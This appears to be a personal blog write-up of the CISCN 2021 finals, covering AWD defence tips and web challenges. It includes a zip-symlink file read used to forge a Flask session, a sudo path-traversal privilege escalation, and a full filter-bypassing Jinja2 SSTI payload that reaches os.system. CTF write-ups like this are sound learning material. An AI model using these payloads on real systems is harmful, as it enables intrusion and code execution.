0%

[CISCN2021]决赛

[CISCN2021]决赛

居然混到了国一,队友牛逼!可信计算牛逼!

day1

经典awd坐牢,对tp等大型PHP框架的审计一无所知的我只能坐牢,官方流量要延迟一小时,意味着awd只会上车的我被乱杀,一度被打到倒数前十。但其实web也能自力更生的抓流量,但这回因为未知的原因,祖传脚本未能抓到流量,经过长达一个小时的边挨打边修边研究,发现是祖传脚本默认把流量写入tmp目录,而不知为何tmp目录不能写造成的。
查看phpinfo,disable_fucntion禁用了system,exec等命令执行函数,让写入不死马的几率降低到最小,open_basedir并没有值,那么应该不会影响到写入tmp,查看tmp权限,经典777+t,那么也不会影响写入。最后,为什么写不了tmp成为了一个永远的未解之谜。
然后挨了一个小时打之后发现流量能写本地,然后就开始上车,但这个时候的垃圾洞已经被修的差不多了,捡垃圾也只能捡一点点分,成功进入倒数前十。

还是记录一下踩的坑吧。

祖传抓流量脚本不能用

就是刚才说的祖传waf因为不知名原因无法写tmp,但可以写当前目录下,改了一下又能勉勉强强的跑起来。但是写当前目录不知道是就直接填个.呢还是填个/var/www/html/比较保险呢?填个.不需要额外思考,但是只对tp这种单页入口的好用,如果是那种每个文件都是入口的简单PHP文件堆,还得批量挂载,并且每个文件的执行目录不一样,就会导致日志写的到处都是?但是我不清楚这回写不了tmp但是能写当前目录是什么原因,不知道填了绝对路径会不会出问题?

改密码!!!

如果感觉ssh密码有点毛病,就把ssh密码也给改了,免得收到ssh攻击。。。。
一定要翻一翻配置文件找数据库密码和后台管理员密码!迅速改掉跑路,很多洞都是来自于直接登录你管理员后台,改模板上传马关站之类的,分区赛也是被登了后台,一次是关了站,一次是改了模板,直接把我flag放到首页了。。这次也一样,被登录了后台然后被疯狂传马,还有一个站是登录后台然后改我模板,主页变空白后check不过,也是挨打。这种情况还可能会遇到主机上没有mysql客户端,没法终端改数据库密码,那就只能从网站代码找接口,但是有时候网站管理员密码也找不到,就在配置文件里找到一个mysql密码,但是又连不上,急死
所以这次学会了一个新把戏,adminer.php,这个玩意单个文件就包含了完整的数据库管理功能,小phpmyadmin

准备二进制工具

python脚本固然好用,可是,万一目标机器没有python环境呢?当场暴毙是完全可能的,所以成熟的赛棍都会使用强力的pyinstaller把脚本和解释器第三方库全部超级打包到二进制,这样就能随便跑了,把我也本地整一个,到时候要python脚本的时候就能打包
不过这里注意pyinstaller并不能跨平台,所以应该在虚拟机上打一个包,然后才能在Linux目标机器上运行

可信计算

可信计算牛逼!!!
没这个可信计算今年就人生有梦各自精彩了。题目并不难,总的来说就是看懂代码在干什么,然后填空,初看觉得完全看不懂,但是大概看懂情况之后就能做出来了,并且有很贴心的注释,整体代码不是很复杂,并且大部分函数都已经实现了,只需要对着要求去找函数复制粘贴一下就能搞定,每个题的工作量可能只有十行不到的代码。一个小时狂砍3w分完成翻盘

day2

ctf,先打再修,经典赛制
四个web看了两个一个没出嘻嘻

buu上了国赛复现,所以又再补充一点

web1

有一个上传功能,然后写着你是admin就会告诉你写什么东西,cookie看起来像是jwt那类的,把第一段base64解码一下,username guest。需要伪造cookie,验证了一下是flask那种的cookie,所以一个可能性是爆破密钥,但是没有工具,让队友去下,没找到这种爆破工具,试一试上传点。这种上传一般来说都给传图片,先传个png试试。502bad gateway?不会,告辞

赛后ssh上去看了一眼,发现是能传zip,第一反应是以前见过的一个传zip软链接进行任意文件读取,估计是考的这个点,但是那个时候的我还没意识到问题的严重性
直到队友在pyc里面看到了hctf字样,我才知道这铁原题,搜了一下,zip传软链接任意文件读取就是hctf2018里面的原题,我知道有软链接任意读这么一回事,但我并没有去看那个原题,上网机一搜,好家伙,除了题目名字一个字没改,铁原题。

修复方案,比较合理的方案是检查解压缩之后是不是有软链接,不读取软链接,但是比赛时不方便查东西,并不知道怎么实现,由于题目最后伪造admin session靠的是伪造密钥,而密钥是由Mac地址为种子产生的随机数,因此通过读Mac地址打通的,这里把随机数改成个其他的uuid之类的定值就行了

用zip保留软链接的打包需要添加一个-y参数

web4

一个登陆界面,随便测一下,测半天没反应,回显一直是404,没找到注入点,然后随便换了个路由,看看能不能注册,结果发现改了之后,原来tab上的login not found变成了register not found,不会是这里ssti吧。
测了一下还真是。。。只能说略微的有点诡异,简单试了一下发现过滤了数字和join,并且只在双大括号内过滤。试了一下引号,直接500,我一度以为应该是我的语法有问题,但实际上我也不知道怎么回事,最后就权当他过滤了引号吧。那么就大概是过滤了数字和引号的ssti,把以前的payload翻出来改改

{%set%20pc=g|lower|list|first|urlencode|first%}{%set%20c=g|lower|list|first|urlencode|last|lower%}{%set%20zero=True-True%}{%set%20one=True+True-True%}{%set%20two=True%2bTrue%}{%set%20three=two%2bTrue%}{%set%20four=three%2bTrue%}{%set%20five=four+True%}{%set%20six=five+True%}{%set%20seven=six+True%}{%set%20eight=seven+True%}{%set%20nine=eight+True%}{%set%20udl=(pc,c)|join%}{%set%20xhx=udl%((nine|string,five|string)|join|int)%}{%set%20a=udl%((nine|string,seven|string)|join|int)%}{%set%20b=udl%((nine|string,eight|string)|join|int)%}{%set%20d=udl%((one|string,zero|string,zero|string)|join|int)%}{%set%20e=udl%((one|string,zero|string,one|string)|join|int)%}{%set%20g=udl%((one|string,zero|string,three|string)|join|int)%}{%set%20i=udl%((one|string,zero|string,five|string)|join|int)%}{%set%20l=udl%((one|string,zero|string,eight|string)|join|int)%}{%set%20m=udl%((one|string,zero|string,nine|string)|join|int)%}{%set%20n=udl%((one|string,one|string,zero|string)|join|int)%}{%set%20o=udl%((one|string,one|string,one|string)|join|int)%}{%set%20p=udl%((one|string,one|string,two|string)|join|int)%}{%set%20r=udl%((one|string,one|string,four|string)|join|int)%}{%set%20s=udl%((one|string,one|string,five|string)|join|int)%}{%set%20t=udl%((one|string,one|string,six|string)|join|int)%}{%set%20u=udl%((one|string,one|string,seven|string)|join|int)%}{%set%20v=udl%((one|string,one|string,eight|string)|join|int)%}{%set%20w=udl%((one|string,one|string,nine|string)|join|int)%}{%set%20y=udl%((one|string,two|string,one|string)|join|int)%}{%set%20class=(xhx,xhx,c,l,a,s,s,xhx,xhx)|join%}{%set%20init=(xhx,xhx,i,n,i,t,xhx,xhx)|join%}{%set%20global=(xhx,xhx,g,l,o,b,a,l,s,xhx,xhx)|join%}{%set%20builtins=(xhx,xhx,b,u,i,l,t,i,n,s,xhx,xhx)|join%}{%set%20getitem=(xhx,xhx,g,e,t,i,t,e,m,xhx,xhx)|join%}{%set%20eval=(e,v,a,l)|join%}{%set%20timeit=(t,i,m,e,i,t)|join%}{%set%20import=(xhx,xhx,i,m,p,o,r,t,xhx,xhx)|join%}{%set%20os=(o,s)|join%}{%set%20system=(s,y,s,t,e,m)|join%}{%set%20subprocess=(s,u,b,p,r,o,c,e,s,s)|join%}{%set%20pty=(p,t,y)|join%}{%set%20imp=(i,m,p)|join%}{%set%20reload=(r,e,l,o,a,d)|join%}{%set%20spawn=(s,p,a,w,n)|join%}{%set%20ls=(l,s)|join%}{%set%20osm=config|attr(class)|attr(init)|attr(global)|attr(getitem)(builtins)|attr(getitem)(import)(os)%}{{config|attr(class)|attr(init)|attr(global)|attr(getitem)(builtins)|attr(getitem)(import)(imp)|attr(reload)(osm)|attr(system)}}

龟龟好长,当初为了写这么大一段这个可能就花了快一个小时,其实双大括号内过滤数字,大括号百分号里面能用数字,能省不少事。。。

然后打到命令执行,我还以为快出了,结果反手一个system gone,试了下subprocess gone,popen gone,spawn gone。提示给了一个subprocess命令执行,可是subprocess明明已经没有了,看懵了GG

fix环节登上去看到看一眼,过滤就之前看到的数字,join和request,然后一句sys.modules["subprocess"] = "subprocess gone"把subprocess模块给禁了,不知道为什么剩下的模块都用不了,如上面的payload所示,我还比赛时还尝试着用reload函数重新加载模块,但没有用

赛后交流环节有提到可以del或者调用delattr把这个模块先删掉,再重新import一下就可以了。也有人说虽然把subprocess什么的删了,但是有一个叫subprocess.Popen的类还活着,能直接拿来用???不是很懂。还有什么posix.popen,multiprocess.popen。比赛时做到这就结束了,命令执行都没打下来,据说命令执行之后还有一个提权,有一个提权程序要求等待三年之后才能提权,通过修改时间服务把时间调到三年后打通(这就是我不清楚的后话了)

修复方法,ssti在模板不可控的时候基本上都是因为render_template_string这个函数出问题的,这里为了触发漏洞专门在render_template外面套了一层render_template_string,删去即可

update

后来看了一些wp,解决方案挺多的,用subprocess.Popen可以执行命令,也可以把模块先删除再引入,覆盖掉被污染的模块,也可以用imp库的load_source方法直接猜测os之类库的.py文件的位置,重新加载一个自己的os模块

命令执行之后sudo -l看有什么命令可以sudo,然后找到一个shell脚本,脚本写的有一点点bug,大体意思是可以去执行一个可执行文件,本身目录是限制在了service下的,但是能目录穿越,解决方案就是写一个sh脚本直接执行

web2web3

因为web4花了几乎所有时间,这两个题看都没看,所以也完全不会修,乱改了一下理所当然的没修好